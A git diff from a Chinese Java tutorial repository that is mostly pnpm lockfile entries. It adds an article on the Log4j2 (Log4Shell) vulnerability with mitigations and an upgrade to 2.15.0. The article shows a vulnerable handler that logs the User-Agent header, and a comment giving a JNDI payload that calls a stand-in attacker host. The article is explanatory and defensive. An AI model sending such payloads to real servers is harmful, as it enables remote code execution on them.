'@rollup/rollup-android-arm64': 4.19.0 - '@rollup/rollup-darwin-arm64': 4.19.0 - '@rollup/rollup-darwin-x64': 4.19.0 - '@rollup/rollup-linux-arm-gnueabihf': 4.19.0 - '@rollup/rollup-linux-arm-musleabihf': 4.19.0 - '@rollup/rollup-linux-arm64-gnu': 4.19.0 - '@rollup/rollup-linux-arm64-musl': 4.19.0 - '@rollup/rollup-linux-powerpc64le-gnu': 4.19.0 - '@rollup/rollup-linux-riscv64-gnu': 4.19.0 - '@rollup/rollup-linux-s390x-gnu': 4.19.0 - '@rollup/rollup-linux-x64-gnu': 4.19.0 - '@rollup/rollup-linux-x64-musl': 4.19.0 - '@rollup/rollup-win32-arm64-msvc': 4.19.0 - '@rollup/rollup-win32-ia32-msvc': 4.19.0 - '@rollup/rollup-win32-x64-msvc': 4.19.0 - fsevents: 2.3.3 - - run-parallel@1.2.0: - dependencies: - queue-microtask: 1.2.3 - - safe-array-concat@1.1.2: - dependencies: - call-bind: 1.0.7 - get-intrinsic: 1.2.4 - has-symbols: 1.0.3 - isarray: 2.0.5 - - safe-buffer@5.2.1: {} - - safe-regex-test@1.0.3: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - is-regex: 1.1.4 - - sass@1.77.8: - dependencies: - chokidar: 3.6.0 - immutable: 4.3.7 - source-map-js: 1.2.0 - - sax@1.4.1: {} - - search-insights@2.15.0: {} - - section-matter@1.0.0: - dependencies: - extend-shallow: 2.0.1 - kind-of: 6.0.3 - - semver@6.3.1: {} - - semver@7.6.3: {} - - serialize-javascript@6.0.2: - dependencies: - randombytes: 2.1.0 - - set-blocking@2.0.0: {} - - set-function-length@1.2.2: - dependencies: - define-data-property: 1.1.4 - es-errors: 1.3.0 - function-bind: 1.1.2 - get-intrinsic: 1.2.4 - gopd: 1.0.1 - has-property-descriptors: 1.0.2 - - set-function-name@2.0.2: - dependencies: - define-data-property: 1.1.4 - es-errors: 1.3.0 - functions-have-names: 1.2.3 - has-property-descriptors: 1.0.2 - - shebang-command@2.0.0: - dependencies: - shebang-regex: 3.0.0 - - shebang-regex@3.0.0: {} - - shiki@1.11.1: - dependencies: - '@shikijs/core': 1.11.1 - '@types/hast': 3.0.4 - - side-channel@1.0.6: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - get-intrinsic: 1.2.4 - object-inspect: 1.13.2 - - signal-exit@3.0.7: {} - - signal-exit@4.1.0: {} - - sitemap@8.0.0: - dependencies: - '@types/node': 17.0.45 - '@types/sax': 1.2.7 - arg: 5.0.2 - sax: 1.4.1 - - slash@5.1.0: {} - - smob@1.5.0: {} - - source-map-js@1.2.0: {} - - source-map-support@0.5.21: - dependencies: - buffer-from: 1.1.2 - source-map: 0.6.1 - - source-map@0.6.1: {} - - source-map@0.8.0-beta.0: - dependencies: - whatwg-url: 7.1.0 - - sourcemap-codec@1.4.8: {} - - speech-rule-engine@4.0.7: - dependencies: - commander: 9.2.0 - wicked-good-xpath: 1.3.0 - xmldom-sre: 0.1.31 - - sprintf-js@1.0.3: {} - - stdin-discarder@0.2.2: {} - - string-width@4.2.3: - dependencies: - emoji-regex: 8.0.0 - is-fullwidth-code-point: 3.0.0 - strip-ansi: 6.0.1 - - string-width@7.2.0: - dependencies: - emoji-regex: 10.3.0 - get-east-asian-width: 1.2.0 - strip-ansi: 7.1.0 - - string.prototype.matchall@4.0.11: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - es-abstract: 1.23.3 - es-errors: 1.3.0 - es-object-atoms: 1.0.0 - get-intrinsic: 1.2.4 - gopd: 1.0.1 - has-symbols: 1.0.3 - internal-slot: 1.0.7 - regexp.prototype.flags: 1.5.2 - set-function-name: 2.0.2 - side-channel: 1.0.6 - - string.prototype.trim@1.2.9: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - es-abstract: 1.23.3 - es-object-atoms: 1.0.0 - - string.prototype.trimend@1.0.8: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - es-object-atoms: 1.0.0 - - string.prototype.trimstart@1.0.8: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - es-object-atoms: 1.0.0 - - stringify-object@3.3.0: - dependencies: - get-own-enumerable-property-symbols: 3.0.2 - is-obj: 1.0.1 - is-regexp: 1.0.0 - - strip-ansi@6.0.1: - dependencies: - ansi-regex: 5.0.1 - - strip-ansi@7.1.0: - dependencies: - ansi-regex: 6.0.1 - - strip-bom-string@1.0.0: {} - - strip-comments@2.0.1: {} - - strip-final-newline@4.0.0: {} - - supports-color@5.5.0: - dependencies: - has-flag: 3.0.0 - - supports-color@7.2.0: - dependencies: - has-flag: 4.0.0 - - supports-preserve-symlinks-flag@1.0.0: {} - - temp-dir@2.0.0: {} - - tempy@0.6.0: - dependencies: - is-stream: 2.0.1 - temp-dir: 2.0.0 - type-fest: 0.16.0 - unique-string: 2.0.0 - - terser@5.31.3: - dependencies: - '@jridgewell/source-map': 0.3.6 - acorn: 8.12.1 - commander: 2.20.3 - source-map-support: 0.5.21 - - to-fast-properties@2.0.0: {} - - to-regex-range@5.0.1: - dependencies: - is-number: 7.0.0 - - tr46@1.0.1: - dependencies: - punycode: 2.3.1 - - ts-debounce@4.0.0: {} - - type-fest@0.16.0: {} - - typed-array-buffer@1.0.2: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - is-typed-array: 1.1.13 - - typed-array-byte-length@1.0.1: - dependencies: - call-bind: 1.0.7 - for-each: 0.3.3 - gopd: 1.0.1 - has-proto: 1.0.3 - is-typed-array: 1.1.13 - - typed-array-byte-offset@1.0.2: - dependencies: - available-typed-arrays: 1.0.7 - call-bind: 1.0.7 - for-each: 0.3.3 - gopd: 1.0.1 - has-proto: 1.0.3 - is-typed-array: 1.1.13 - - typed-array-length@1.0.6: - dependencies: - call-bind: 1.0.7 - for-each: 0.3.3 - gopd: 1.0.1 - has-proto: 1.0.3 - is-typed-array: 1.1.13 - possible-typed-array-names: 1.0.0 - - uc.micro@2.1.0: {} - - unbox-primitive@1.0.2: - dependencies: - call-bind: 1.0.7 - has-bigints: 1.0.2 - has-symbols: 1.0.3 - which-boxed-primitive: 1.0.2 - - undici-types@5.26.5: {} - - unicode-canonical-property-names-ecmascript@2.0.0: {} - - unicode-match-property-ecmascript@2.0.0: - dependencies: - unicode-canonical-property-names-ecmascript: 2.0.0 - unicode-property-aliases-ecmascript: 2.1.0 - - unicode-match-property-value-ecmascript@2.1.0: {} - - unicode-property-aliases-ecmascript@2.1.0: {} - - unicorn-magic@0.1.0: {} - - unique-string@2.0.0: - dependencies: - crypto-random-string: 2.0.0 - - universalify@2.0.1: {} - - upath@1.2.0: {} - - upath@2.0.1: {} - - update-browserslist-db@1.1.0(browserslist@4.23.2): - dependencies: - browserslist: 4.23.2 - escalade: 3.1.2 - picocolors: 1.0.1 - - vite@5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3): - dependencies: - esbuild: 0.21.5 - postcss: 8.4.40 - rollup: 4.19.0 - optionalDependencies: - '@types/node': 20.14.12 - fsevents: 2.3.3 - sass: 1.77.8 - terser: 5.31.3 - - vue-demi@0.14.9(vue@3.4.34): - dependencies: - vue: 3.4.34 - - vue-router@4.4.0(vue@3.4.34): - dependencies: - '@vue/devtools-api': 6.6.3 - vue: 3.4.34 - - vue@3.4.34: - dependencies: - '@vue/compiler-dom': 3.4.34 - '@vue/compiler-sfc': 3.4.34 - '@vue/runtime-dom': 3.4.34 - '@vue/server-renderer': 3.4.34(vue@3.4.34) - '@vue/shared': 3.4.34 - - vuepress-plugin-components@2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)): - dependencies: - '@stackblitz/sdk': 1.11.0 - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-sass-palette': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - balloon-css: 1.2.0 - create-codepen: 2.0.0 - qrcode: 1.5.3 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - vuepress-shared: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - vuepress-plugin-md-enhance@2.0.0-rc.52(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)): - dependencies: - '@mdit/plugin-alert': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-align': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-attrs': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-container': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-demo': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-figure': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-footnote': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-img-lazyload': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-img-mark': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-img-size': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-include': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-katex-slim': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-mark': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-mathjax-slim': 0.12.0(markdown-it@14.1.0)(mathjax-full@3.2.2) - '@mdit/plugin-plantuml': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-spoiler': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-stylize': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-sub': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-sup': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-tab': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-tasklist': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-tex': 0.12.0(markdown-it@14.1.0) - '@mdit/plugin-uml': 0.12.0(markdown-it@14.1.0) - '@types/markdown-it': 14.1.2 - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-sass-palette': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - balloon-css: 1.2.0 - js-yaml: 4.1.0 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - vuepress-shared: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - optionalDependencies: - mathjax-full: 3.2.2 - transitivePeerDependencies: - - '@vue/composition-api' - - markdown-it - - typescript - - vuepress-shared@2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)): - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - cheerio: 1.0.0-rc.12 - dayjs: 1.11.12 - execa: 9.3.0 - fflate: 0.8.2 - gray-matter: 4.0.3 - semver: 7.6.3 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - vuepress-theme-hope@2.0.0-rc.52(@vuepress/plugin-docsearch@2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(@vuepress/plugin-pwa@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)))(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)): - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-active-header-links': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-back-to-top': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-blog': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-catalog': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-comment': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-copy-code': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-copyright': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-git': 2.0.0-rc.38(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-links-check': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-notice': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-nprogress': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-photo-swipe': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-reading-time': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-rtl': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-sass-palette': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-seo': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-shiki': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-sitemap': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-theme-data': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-watermark': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - balloon-css: 1.2.0 - bcrypt-ts: 5.0.2 - cheerio: 1.0.0-rc.12 - chokidar: 3.6.0 - gray-matter: 4.0.3 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - vuepress-plugin-components: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vuepress-plugin-md-enhance: 2.0.0-rc.52(markdown-it@14.1.0)(mathjax-full@3.2.2)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vuepress-shared: 2.0.0-rc.52(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - optionalDependencies: - '@vuepress/plugin-docsearch': 2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/plugin-pwa': 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - transitivePeerDependencies: - - '@types/reveal.js' - - '@vue/composition-api' - - '@vue/repl' - - '@waline/client' - - artalk - - artplayer - - chart.js - - dashjs - - echarts - - flowchart.ts - - hls.js - - katex - - kotlin-playground - - markdown-it - - markmap-lib - - markmap-toolbar - - markmap-view - - mathjax-full - - mermaid - - mpegts.js - - reveal.js - - sandpack-vue3 - - twikoo - - typescript - - vidstack - - vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34): - dependencies: - '@vuepress/cli': 2.0.0-rc.14 - '@vuepress/client': 2.0.0-rc.14 - '@vuepress/core': 2.0.0-rc.14 - '@vuepress/markdown': 2.0.0-rc.14 - '@vuepress/shared': 2.0.0-rc.14 - '@vuepress/utils': 2.0.0-rc.14 - vue: 3.4.34 - optionalDependencies: - '@vuepress/bundler-vite': 2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3) - transitivePeerDependencies: - - supports-color - - typescript - - watermark-js-plus@1.5.2: {} - - webidl-conversions@4.0.2: {} - - whatwg-url@7.1.0: - dependencies: - lodash.sortby: 4.7.0 - tr46: 1.0.1 - webidl-conversions: 4.0.2 - - which-boxed-primitive@1.0.2: - dependencies: - is-bigint: 1.0.4 - is-boolean-object: 1.1.2 - is-number-object: 1.0.7 - is-string: 1.0.7 - is-symbol: 1.0.4 - - which-module@2.0.1: {} - - which-typed-array@1.1.15: - dependencies: - available-typed-arrays: 1.0.7 - call-bind: 1.0.7 - for-each: 0.3.3 - gopd: 1.0.1 - has-tostringtag: 1.0.2 - - which@2.0.2: - dependencies: - isexe: 2.0.0 - - wicked-good-xpath@1.3.0: {} - - workbox-background-sync@7.1.0: - dependencies: - idb: 7.1.1 - workbox-core: 7.1.0 - - workbox-broadcast-update@7.1.0: - dependencies: - workbox-core: 7.1.0 - - workbox-build@7.1.1: - dependencies: - '@apideck/better-ajv-errors': 0.3.6(ajv@8.17.1) - '@babel/core': 7.24.9 - '@babel/preset-env': 7.24.8(@babel/core@7.24.9) - '@babel/runtime': 7.24.8 - '@rollup/plugin-babel': 5.3.1(@babel/core@7.24.9)(rollup@2.79.1) - '@rollup/plugin-node-resolve': 15.2.3(rollup@2.79.1) - '@rollup/plugin-replace': 2.4.2(rollup@2.79.1) - '@rollup/plugin-terser': 0.4.4(rollup@2.79.1) - '@surma/rollup-plugin-off-main-thread': 2.2.3 - ajv: 8.17.1 - common-tags: 1.8.2 - fast-json-stable-stringify: 2.1.0 - fs-extra: 9.1.0 - glob: 7.2.3 - lodash: 4.17.21 - pretty-bytes: 5.6.0 - rollup: 2.79.1 - source-map: 0.8.0-beta.0 - stringify-object: 3.3.0 - strip-comments: 2.0.1 - tempy: 0.6.0 - upath: 1.2.0 - workbox-background-sync: 7.1.0 - workbox-broadcast-update: 7.1.0 - workbox-cacheable-response: 7.1.0 - workbox-core: 7.1.0 - workbox-expiration: 7.1.0 - workbox-google-analytics: 7.1.0 - workbox-navigation-preload: 7.1.0 - workbox-precaching: 7.1.0 - workbox-range-requests: 7.1.0 - workbox-recipes: 7.1.0 - workbox-routing: 7.1.0 - workbox-strategies: 7.1.0 - workbox-streams: 7.1.0 - workbox-sw: 7.1.0 - workbox-window: 7.1.0 - transitivePeerDependencies: - - '@types/babel__core' - - supports-color - - workbox-cacheable-response@7.1.0: - dependencies: - workbox-core: 7.1.0 - - workbox-core@7.1.0: {} - - workbox-expiration@7.1.0: - dependencies: - idb: 7.1.1 - workbox-core: 7.1.0 - - workbox-google-analytics@7.1.0: - dependencies: - workbox-background-sync: 7.1.0 - workbox-core: 7.1.0 - workbox-routing: 7.1.0 - workbox-strategies: 7.1.0 - - workbox-navigation-preload@7.1.0: - dependencies: - workbox-core: 7.1.0 - - workbox-precaching@7.1.0: - dependencies: - workbox-core: 7.1.0 - workbox-routing: 7.1.0 - workbox-strategies: 7.1.0 - - workbox-range-requests@7.1.0: - dependencies: - workbox-core: 7.1.0 - - workbox-recipes@7.1.0: - dependencies: - workbox-cacheable-response: 7.1.0 - workbox-core: 7.1.0 - workbox-expiration: 7.1.0 - workbox-precaching: 7.1.0 - workbox-routing: 7.1.0 - workbox-strategies: 7.1.0 - - workbox-routing@7.1.0: - dependencies: - workbox-core: 7.1.0 - - workbox-strategies@7.1.0: - dependencies: - workbox-core: 7.1.0 - - workbox-streams@7.1.0: - dependencies: - workbox-core: 7.1.0 - workbox-routing: 7.1.0 - - workbox-sw@7.1.0: {} - - workbox-window@7.1.0: - dependencies: - '@types/trusted-types': 2.0.7 - workbox-core: 7.1.0 - - wrap-ansi@6.2.0: - dependencies: - ansi-styles: 4.3.0 - string-width: 4.2.3 - strip-ansi: 6.0.1 - - wrappy@1.0.2: {} - - xmldom-sre@0.1.31: {} - - y18n@4.0.3: {} - - yallist@3.1.1: {} - - yargs-parser@18.1.3: - dependencies: - camelcase: 5.3.1 - decamelize: 1.2.0 - - yargs@15.4.1: - dependencies: - cliui: 6.0.0 - decamelize: 1.2.0 - find-up: 4.1.0 - get-caller-file: 2.0.5 - require-directory: 2.1.1 - require-main-filename: 2.0.0 - set-blocking: 2.0.0 - string-width: 4.2.3 - which-module: 2.0.1 - y18n: 4.0.3 - yargs-parser: 18.1.3 - - yoctocolors@2.1.1: {} diff --git a/docs/shigu/log4j2.md b/docs/shigu/log4j2.md new file mode 100644 index 0000000000..0e6858f814 --- /dev/null +++ b/docs/shigu/log4j2.md @@ -0,0 +1,105 @@ + + +长话短说吧。 + +相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此时此刻已经累趴下了。很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本特喵的还是 2.14.1,在这次漏洞波及的版本范围之内。 + +第一时间从网上得知这个漏洞的消息后,小二吓尿了。赶紧跑过来问老王怎么解决。 + +老王先是给小二提供了一些临时性的建议,比如说: + +``` +JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true +log4j2.formatMsgNoLookups=True +FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true +``` + +并且老王也在时刻的关注着 Log4j2 的官网和 Spring Boot GitHub 仓库的最新消息。 + +Java 后端开发的小伙伴应该都知道,Log4j、SLF4J、Logback 这 3 个日志组件是一个爹——Ceki Gulcu,但 Log4j 2 却是例外,它是 Apache 基金会的产品。 + +所以这波超级高危漏洞的锅必须得由 Apache 来背。并且波及范围非常广,已知受影响的应用程序和组件有: + +- Spring-boot-strater-log4j2 +- Apache Solr +- Apache Flink +- Apache Druid + +并且只要是在 Log4j 2.x <= 2.14.1 之间的版本,都将受到影响——注定被载入史册的一波 bug 啊。 + +目前,Log4j2 的官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-01.png) + +那随着 Log4j2 2.15.0 正式版的发布,Spring Boot 的 GitHub 仓库提的这些关于 Log4j2 的 issue 都已经处于关闭状态了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-02.png) + +看到这些消息后,老王紧张的情绪一下子就缓解了下来,就像吃了一颗定心丸,赶紧去通知小二不用再提心吊胆了,直接一行代码搞定。 + +``` + + 2.15.0 + +``` + +详情可参照 Spring Boot 官方这篇博客: + +>https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot + +Gradle 构建的项目也有解决方案。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-03.png) + +问题是解决了,不过老王没闲着。他从 Log4j2 官网公布的最新消息中琢磨出,本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:**当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码**。 + +那肯定会有小伙伴在好奇 JNDI 是什么东东?来看一下维基百科的解释。 + +>Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。 + +利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。 + +```java +public class VulnerableLog4jExampleHandler implements HttpHandler { + static Logger log = Logger.getLogger(log4jExample.class.getName()); + /** + * A simple HTTP endpoint that reads the request's User Agent and logs it back. + * + * This is basically pseudo-code to explain the vulnerability, and not a full example. + * + * @param he HTTP Request Object + */ + public void handle(HttpExchange he) throws IOException { + String userAgent = he.getRequestHeader("user-agent"); +// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. +// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} + log.info("Request User Agent:" + userAgent); + String response = "

Hello There, " + userAgent + "!

"; + he.sendResponseHeaders(200, response.length()); + OutputStream os = he.getResponseBody(); + os.write(response.getBytes()); + os.close(); + } +} +``` + +具体的攻击手段可以参考这里: + +>https://github.com/apache/pulsar/issues/13232 + +下图是程序猿阿朗画的简单的攻击链路步骤图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-04.png) + +感兴趣的小伙伴可以在本地复现一下,但**千万不要不当利用**哦! + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-05.png) + +再次提醒大家一下,排查自己的项目是否引入了 Apache log4j-core Jar 包。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-06.png) + +如果存在依赖引入,且在受影响版本范围内,请升级到 Apache Log4j2 2.15.0 版本,目前已经 release。 + + + diff --git a/docs/springboot/initializr.md b/docs/springboot/initializr.md new file mode 100644 index 0000000000..ca957c2189 --- /dev/null +++ b/docs/springboot/initializr.md @@ -0,0 +1,164 @@ + + +### 一、Spring Boot 项目搭建 + +Spring 官方提供了 Spring Initializr 的方式来创建 Spring Boot 项目。网址如下: + +>https://start.spring.io/ + +打开后的界面如下: + 